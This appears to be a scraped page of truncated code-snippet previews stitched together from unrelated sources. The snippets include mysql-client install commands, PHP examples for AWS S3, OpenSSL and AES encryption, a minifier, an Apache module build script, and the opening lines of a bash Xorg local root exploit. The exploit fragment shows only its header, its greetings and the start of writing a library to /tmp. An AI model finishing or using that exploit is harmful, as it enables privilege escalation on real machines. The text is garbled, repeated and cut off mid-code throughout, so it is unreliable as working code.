- Make sure mysql-client is installed. If not, then :
sudo apt install mysql-client
or
sudo apt-get install mysql-client
- Open php.ini
; PHP's default character set is set to UTF-8.
| #!/bin/bash | |
| # x0rg - Xorg Local Root Exploit | |
| # Released under the Snitches Get Stitches Public Licence. | |
| # props to prdelka / fantastic for the shadow vector. | |
| # Gr33tz to everyone in #lizardhq and elsewhere <3 | |
| # ~infodox (25/10/2018) | |
| # FREE LAURI LOVE! | |
| echo "x0rg" | |
| echo "[+] First, we create our shell and library..." | |
| cat << EOF > /tmp/libhax.c |
| <?php | |
| // Installed the need packages with Composer by running: | |
| // $ composer require aws/aws-sdk-php | |
| $filePath = "https://example.com/test.png"; | |
| require 'vendor/autoload.php'; | |
| $bucketName = 'YOUR_BUCKET_NAME'; | |
| $filePath = './YOUR_FILE_NAME.png'; |
sudo apt install mysql-client
or
sudo apt-get install mysql-client
; PHP's default character set is set to UTF-8.
| <?php | |
| // generate private/public key as follows: | |
| // > openssl genrsa -out private.pem 2048 | |
| // > openssl rsa -in private.pem -outform PEM -pubout -out public.pem | |
| $data = "String to encrypt"; | |
| $privKey = openssl_pkey_get_private('file:///path/to/private.pem'); | |
| $encryptedData = ""; |
$ uname -r
| <?php | |
| // Based on <https://github.com/mecha-cms/x.minify> | |
| namespace x\minify\_ { // start namespace | |
| $n = __NAMESPACE__; | |
| \define($n . "\\token_boolean", '\b(?:true|false)\b'); | |
| \define($n . "\\token_number", '-?(?:(?:\d+)?\.)?\d+'); |
| #!/bin/sh | |
| sudo apt-get install apache2-prefork-dev libxml2 libxml2-dev apache2-dev | |
| mkdir ~/modbuild/ && cd ~/modbuild/ | |
| wget http://apache.webthing.com/svn/apache/filters/mod_xml2enc.c | |
| wget http://apache.webthing.com/svn/apache/filters/mod_xml2enc.h | |
| sudo apxs2 -aic -I/usr/include/libxml2 ./mod_xml2enc.c | |
| cd ~ | |
| sudo rm -rfd ~/modbuild/ | |
| sudo service apache2 restart |
| <?php | |
| /* | |
| * Recursively diff two arrays. This function expects the leaf levels to be | |
| * arrays of strings or null | |
| */ | |
| function diff_recursive($array1, $array2) { | |
| $difference=array(); | |
| foreach($array1 as $key => $value) { | |
| if(is_array($value) && isset($array2[$key])){ // it's an array and both have the key | |
| $new_diff = diff_recursive($value, $array2[$key]); |
| <?php | |
| // DEFINE our cipher | |
| define('AES_256_CBC', 'aes-256-cbc'); | |
| // Generate a 256-bit encryption key | |
| // This should be stored somewhere instead of recreating it each time | |
| $encryption_key = openssl_random_pseudo_bytes(32); | |
| // Generate an initialization vector | |
| // This *MUST* be available for decryption as well |